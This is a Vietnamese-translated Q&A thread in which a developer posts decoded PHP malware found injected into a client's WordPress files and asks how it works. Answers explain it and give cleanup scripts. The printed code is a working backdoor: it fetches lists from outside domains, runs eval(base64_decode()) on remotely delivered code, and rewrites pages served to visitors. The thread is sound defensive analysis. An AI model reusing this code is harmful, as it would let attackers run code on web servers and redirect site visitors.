2012-02-23 22 views
5

Tôi đã tìm thấy mã này trong cơ sở 64 trên tất cả các tệp php của một trong những trang web của khách hàng của tôi (wordpress) và tôi đang cố gắng để hiểu những gì nó làm.Mã khai thác PHP chính xác này (được tìm thấy trên ứng dụng của tôi) là gì?

Tôi cũng đang cố gắng tìm hiểu xem đó có phải là một ứng dụng khai thác hoặc truy cập FTP trực tiếp đã qua mã này hay không.

Mọi thứ bắt đầu bằng setup_globals_777()ob_start('mrobh') đặt gọi lại thành hàm mrobh($content).

Sau đó, có một cuộc gọi đến gzdecodeit ($decode) nơi rắc rối bắt đầu.

Dường như nó tải nội dung trang và thay đổi nó. Bây giờ tôi đang cố gắng để phát hiện các thay đổi cụ thể và hiểu tất cả các chức năng, bao gồm cả các chức năng thứ hai gzdecodeit().

Ai đó có thể làm sáng tỏ không?

kêu gọi

setup_globals_777(); 
ob_start('mrobh'); 
// Here the application code and html output starts out 

Các callback:

function mrobh ($content) 
{ 
    @Header('Content-Encoding: none'); 
    $decoded_content = gzdecodeit($content); 
    if (preg_match('/\<\/body/si', $decoded_content)) { 
     return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', 
          $decoded_content); 
    } else { 
     return $decoded_content . gml_777(); 
    } 
} 

Chức năng thiết lập (dễ hiểu)

function setup_globals_777() 
{ 
    $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; 
    $mz = "/tmp/"; 
    if (! is_dir($rz)) { 
     @mkdir($rz); 
     if (is_dir($rz)) { 
      $mz = $rz; 
     } else { 
      $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; 
      if (! is_dir($rz)) { 
       @mkdir($rz); 
       if (is_dir($rz)) { 
        $mz = $rz; 
       } 
      } else { 
       $mz = $rz; 
      } 
     } 
    } else { 
     $mz = $rz; 
    } 
    $bot = 0; 
    $ua = $_SERVER['HTTP_USER_AGENT']; 
    if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) 
     $bot = 1; 
    if (stristr($ua, "bingbot") || stristr($ua, "google")) 
     $bot = 1; 
    $msie = 0; 
    if (is_msie_777($ua)) 
     $msie = 1; 
    $mac = 0; 
    if (is_mac_777($ua)) 
     $mac = 1; 
    if (($msie == 0) && ($mac == 0)) 
     $bot = 1; 
    global $_SERVER; 
    $_SERVER['s_p1'] = $mz; 
    $_SERVER['s_b1'] = $bot; 
    $_SERVER['s_t1'] = 1200; 
    $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/"; 
    $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . 
    urlencode($_SERVER["PHP_SELF"]) . "&a=" . 
    urlencode($_SERVER["HTTP_USER_AGENT"]); 
    $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d; 
    $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d; 
    $_SERVER['s_script'] = "mm.php?d=1"; 
} 

Hàm đầu tiên được gọi sau khi thực thi gọi lại:

Đây là nơi ma thuật xảy ra. Tôi không thể nhìn thấy các cuộc gọi cho chức năng có sẵn khác và hiểu những gì chức năng này thực sự là giải mã, vì $decode var là sản phẩm ứng dụng nắm lấy bởi các ob_start()

function gzdecodeit ($decode) 
{ 
    $t = @ord(@substr($decode, 3, 1)); 
    $start = 10; 
    $v = 0; 
    if ($t & 4) { 
     $str = @unpack('v', substr($decode, 10, 2)); 
     $str = $str[1]; 
     $start += 2 + $str; 
    } 
    if ($t & 8) { 
     $start = @strpos($decode, chr(0), $start) + 1; 
    } 
    if ($t & 16) { 
     $start = @strpos($decode, chr(0), $start) + 1; 
    } 
    if ($t & 2) { 
     $start += 2; 
    } 
    $ret = @gzinflate(@substr($decode, $start)); 
    if ($ret === FALSE) { 
     $ret = $decode; 
    } 
    return $ret; 
} 

Tất cả các chức năng có sẵn (sau một base64_decode()):

<?php 
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) { 
    $_SERVER['mr_no'] = 1; 
    if (! function_exists('mrobh')) { 
     function get_tds_777 ($url) 
     { 
      $content = ""; 
      $content = @trycurl_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @tryfile_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @tryfopen_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @tryfsockopen_777($url); 
      if ($content !== false) 
       return $content; 
      $content = @trysocket_777($url); 
      if ($content !== false) 
       return $content; 
      return ''; 
     } 
     function trycurl_777 ($url) 
     { 
      if (function_exists('curl_init') === false) 
       return false; 
      $ch = curl_init(); 
      curl_setopt($ch, CURLOPT_URL, $url); 
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
      curl_setopt($ch, CURLOPT_TIMEOUT, 5); 
      curl_setopt($ch, CURLOPT_HEADER, 0); 
      $result = curl_exec($ch); 
      curl_close($ch); 
      if ($result == "") 
       return false; 
      return $result; 
     } 
     function tryfile_777 ($url) 
     { 
      if (function_exists('file') === false) 
       return false; 
      $inc = @file($url); 
      $buf = @implode('', $inc); 
      if ($buf == "") 
       return false; 
      return $buf; 
     } 
     function tryfopen_777 ($url) 
     { 
      if (function_exists('fopen') === false) 
       return false; 
      $buf = ''; 
      $f = @fopen($url, 'r'); 
      if ($f) { 
       while (! feof($f)) { 
        $buf .= fread($f, 10000); 
       } 
       fclose($f); 
      } else 
       return false; 
      if ($buf == "") 
       return false; 
      return $buf; 
     } 
     function tryfsockopen_777 ($url) 
     { 
      if (function_exists('fsockopen') === false) 
       return false; 
      $p = @parse_url($url); 
      $host = $p['host']; 
      $uri = $p['path'] . '?' . $p['query']; 
      $f = @fsockopen($host, 80, $errno, $errstr, 30); 
      if (! $f) 
       return false; 
      $request = "GET $uri HTTP/1.0\n"; 
      $request .= "Host: $host\n\n"; 
      fwrite($f, $request); 
      $buf = ''; 
      while (! feof($f)) { 
       $buf .= fread($f, 10000); 
      } 
      fclose($f); 
      if ($buf == "") 
       return false; 
      list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
      $buf); 
      return $buf; 
     } 
     function trysocket_777 ($url) 
     { 
      if (function_exists('socket_create') === false) 
       return false; 
      $p = @parse_url($url); 
      $host = $p['host']; 
      $uri = $p['path'] . '?' . $p['query']; 
      $ip1 = @gethostbyname($host); 
      $ip2 = @long2ip(@ip2long($ip1)); 
      if ($ip1 != $ip2) 
       return false; 
      $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); 
      if (! @socket_connect($sock, $ip1, 80)) { 
       @socket_close($sock); 
       return false; 
      } 
      $request = "GET $uri HTTP/1.0\n"; 
      $request .= "Host: $host\n\n"; 
      socket_write($sock, $request); 
      $buf = ''; 
      while ($t = socket_read($sock, 10000)) { 
       $buf .= $t; 
      } 
      @socket_close($sock); 
      if ($buf == "") 
       return false; 
      list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
      $buf); 
      return $buf; 
     } 
     function update_tds_file_777 ($tdsfile) 
     { 
      $actual1 = $_SERVER['s_a1']; 
      $actual2 = $_SERVER['s_a2']; 
      $val = get_tds_777($actual1); 
      if ($val == "") 
       $val = get_tds_777($actual2); 
      $f = @fopen($tdsfile, "w"); 
      if ($f) { 
       @fwrite($f, $val); 
       @fclose($f); 
      } 
      if (strstr($val, "|||CODE|||")) { 
       list ($val, $code) = explode("|||CODE|||", $val); 
       eval(base64_decode($code)); 
      } 
      return $val; 
     } 
     function get_actual_tds_777() 
     { 
      $defaultdomain = $_SERVER['s_d1']; 
      $dir = $_SERVER['s_p1']; 
      $tdsfile = $dir . "log1.txt"; 
      if (@file_exists($tdsfile)) { 
       $mtime = @filemtime($tdsfile); 
       $ctime = time() - $mtime; 
       if ($ctime > $_SERVER['s_t1']) { 
        $content = update_tds_file_777($tdsfile); 
       } else { 
        $content = @file_get_contents($tdsfile); 
       } 
      } else { 
       $content = update_tds_file_777($tdsfile); 
      } 
      $tds = @explode("\n", $content); 
      $c = @count($tds) + 0; 
      $url = $defaultdomain; 
      if ($c > 1) { 
       $url = trim($tds[mt_rand(0, $c - 2)]); 
      } 
      return $url; 
     } 
     function is_mac_777 ($ua) 
     { 
      $mac = 0; 
      if (stristr($ua, "mac") || stristr($ua, "safari")) 
       if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone"))) 
        $mac = 1; 
      return $mac; 
     } 
     function is_msie_777 ($ua) 
     { 
      $msie = 0; 
      if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || 
      stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9")) 
       $msie = 1; 
      return $msie; 
     } 
     function setup_globals_777() 
     { 
      $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; 
      $mz = "/tmp/"; 
      if (! is_dir($rz)) { 
       @mkdir($rz); 
       if (is_dir($rz)) { 
        $mz = $rz; 
       } else { 
        $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; 
        if (! is_dir($rz)) { 
         @mkdir($rz); 
         if (is_dir($rz)) { 
          $mz = $rz; 
         } 
        } else { 
         $mz = $rz; 
        } 
       } 
      } else { 
       $mz = $rz; 
      } 
      $bot = 0; 
      $ua = $_SERVER['HTTP_USER_AGENT']; 
      if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) 
       $bot = 1; 
      if (stristr($ua, "bingbot") || stristr($ua, "google")) 
       $bot = 1; 
      $msie = 0; 
      if (is_msie_777($ua)) 
       $msie = 1; 
      $mac = 0; 
      if (is_mac_777($ua)) 
       $mac = 1; 
      if (($msie == 0) && ($mac == 0)) 
       $bot = 1; 
      global $_SERVER; 
      $_SERVER['s_p1'] = $mz; 
      $_SERVER['s_b1'] = $bot; 
      $_SERVER['s_t1'] = 1200; 
      $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/"; 
      $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . 
      urlencode($_SERVER["PHP_SELF"]) . "&a=" . 
      urlencode($_SERVER["HTTP_USER_AGENT"]); 
      $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d; 
      $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d; 
      $_SERVER['s_script'] = "mm.php?d=1"; 
     } 


     if (! function_exists('gml_777')) { 
      function gml_777() 
      { 
       $r_string_777 = ''; 
       if ($_SERVER['s_b1'] == 0) 
        $r_string_777 = ''; 
       return $r_string_777; 
      } 
     } 
     if (! function_exists('gzdecodeit')) { 
      function gzdecodeit ($decode) 
      { 
       $t = @ord(@substr($decode, 3, 1)); 
       $start = 10; 
       $v = 0; 
       if ($t & 4) { 
        $str = @unpack('v', substr($decode, 10, 2)); 
        $str = $str[1]; 
        $start += 2 + $str; 
       } 
       if ($t & 8) { 
        $start = @strpos($decode, chr(0), $start) + 1; 
       } 
       if ($t & 16) { 
        $start = @strpos($decode, chr(0), $start) + 1; 
       } 
       if ($t & 2) { 
        $start += 2; 
       } 
       $ret = @gzinflate(@substr($decode, $start)); 
       if ($ret === FALSE) { 
        $ret = $decode; 
       } 
       return $ret; 
      } 
     } 
     function mrobh ($content) 
     { 
      @Header('Content-Encoding: none'); 
      $decoded_content = gzdecodeit($content); 
      if (preg_match('/\<\/body/si', $decoded_content)) { 
       return preg_replace('/(\<\/body[^\>]*\>)/si', 
       gml_777() . "\n" . '$1', $decoded_content); 
      } else { 
       return $decoded_content . gml_777(); 
      } 
     } 

    } 
} 
+3

tôi sẽ lo lắng để sửa chữa bảo mật của bạn thay vì để hiểu những gì mã này không – dynamic

+0

@ yes123 Có, nhưng tôi hỏi về mã. Tôi muốn hiểu nó. Tôi là một lập trình viên PHP và chưa thấy các kết hợp báo cáo trước đây. –

+0

Không chắc chắn nếu điều này là cùng một điều hay không, nhưng bạn có thể muốn có một cái nhìn: http://www.tumblr.com/tagged/hack?before=1329947869 –

Trả lời

7

Hình như nó tạo ra một ẩn .log thư mục:

$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; 
$mz = "/tmp/"; 
if (! is_dir($rz)) { 
    @mkdir($rz); 
    if (is_dir($rz)) { 
     $mz = $rz; 
    } else { 
     $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; 
     if (! is_dir($rz)) { 
      @mkdir($rz); 
      if (is_dir($rz)) { 
       $mz = $rz; 
      } 
     } else { 
      $mz = $rz; 
     } 
    } 
} else { 
    $mz = $rz; 
} 

Sau đó, dường như tải mã từ http://www.lolypopholypop.com/g_load.phphttp://sweepstakesandcontestsdo.com/, base64 giải mã nó, sau đó thực hiện nó:

function update_tds_file_777 ($tdsfile) 
    { 
     $actual1 = $_SERVER['s_a1']; 
     $actual2 = $_SERVER['s_a2']; 
     $val = get_tds_777($actual1); 
     if ($val == "") 
      $val = get_tds_777($actual2); 
     $f = @fopen($tdsfile, "w"); 
     if ($f) { 
      @fwrite($f, $val); 
      @fclose($f); 
     } 
     if (strstr($val, "|||CODE|||")) { 
      list ($val, $code) = explode("|||CODE|||", $val); 
      eval(base64_decode($code)); 
     } 
     return $val; 
    } 

Vì vậy, mà không cần phải truy cập lại máy chủ của bạn, họ có thể thực thi mã khác nhau.

+0

Bạn có thể chỉ ra nơi cuộc gọi đầu tiên update_tds_file_777() xảy ra không? –

+0

Tôi không chắc chắn, là tất cả các mã được đăng trên? Bởi vì get_actual_tds_777() không bao giờ được gọi, hoặc là, tôi có thể thấy. –

+0

Vâng, đúng thế. Đây là lý do tôi nghĩ rằng gzdecodeit() đang làm điều gì đó. –

5

Dan Hill đã viết một article về việc bị tấn công base64 cho các cài đặt WordPress.

Để trích dẫn các kết quả của những phát hiện của Dan:

Các hack tôi tìm thấy về cơ bản tạo ra một file php mới trong thư mục upload của Wordpress cho phép kiểm soát hệ thống tập tin từ xa, và sau đó sửa đổi các trang bị phục vụ (mỗi. tệp php) để bao gồm thẻ tập lệnh chuyển hướng khách truy cập đến một số trang web tinh ranh.

Để thoát khỏi vấn đề này, Dan thử như sau:


Tôi đã làm điều này trong ba giai đoạn.Thứ nhất, tìm thấy bất kỳ thư mục trên thế giới-ghi (tsk tsk):

find . -type d -perm -o=w 

Và làm cho họ không thế giới có thể ghi:

find . -type d -perm -o=w -print -exec chmod 770 {} \; 

Xóa tất cả các file mới những kẻ tạo ra:

find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \; 

(Trong wordpress, thư mục tải lên không được chứa bất kỳ PHP nào)

Giai đoạn hai, sửa chữa tất cả các nhiễm trùng của bạn d tập tin PHP. Tôi chơi xung quanh bằng cách sử dụng sed và xargs cho việc này, nhưng cuối cùng đã từ bỏ và viết một kịch bản ruby ​​nhanh để thực hiện công việc. Chạy chạy tập lệnh ruby ​​này từ thư mục gốc của bạn:

#!/usr/bin/env ruby 
Dir.glob('**/*.php').each do|f| 
    puts f 
    begin 
     contents = File.read(f) 
     contents = contents.gsub(/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/, "") 

     File.open(f, 'w') {|f| f.write(contents) } 
    rescue 
     puts "FILE ERROR" 
    end 
end 

Bước cuối cùng là nâng cấp tất cả cũ, quên về cài đặt Wordpress để ngăn chặn bất kỳ lỗ hổng nào khác hiển thị. Bước tiền thưởng cho may mắn là đặt lại mật khẩu của bạn, đặc biệt là bất kỳ mật khẩu MySQL nào được lưu trữ trong văn bản thuần túy trong tệp wp-config.php của bạn.


Phát hiện của Hope Dan giúp bạn!

1

Đối với những người tìm kiếm một sửa chữa phi Ruby, đây là một phiên bản PHP mã Dan Hill:

<?php 
function fileExtension($filename) { 
    $pathInfo = pathinfo($filename); 
    return strtolower($pathInfo['extension']); 
} 

function fixFiles($path) { 
    $path = str_replace('././', './', $path); 
    $d = @opendir($path); 

    if ($d) { 
     while (($entry = readdir($d)) !== false) { 
      $baseEntry = $entry; 
      $entry = str_replace('././', './', $path . '/' . $entry); 

      if ($baseEntry != '.' && $baseEntry != '..') { 
       if (is_file($entry)) { 
        $fe = fileExtension($entry); 

        if ($fe == 'php') { 
         $contents = file_get_contents($entry); 
         $contents = preg_replace("/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/", '', $contents); 

         $f = fopen($entry, 'w'); 
         fputs($f, $contents); 
         fclose($f); 

         echo $entry . '<br>'; 
         flush(); 
        } 
       } 
       else if (is_dir($entry)) { 
        fixFiles($path . '/' . basename($entry)); 
       } 
      } 
     } 

     closedir($d); 
    } 
} 

fixFiles('.'); 
?> 
Các vấn đề liên quan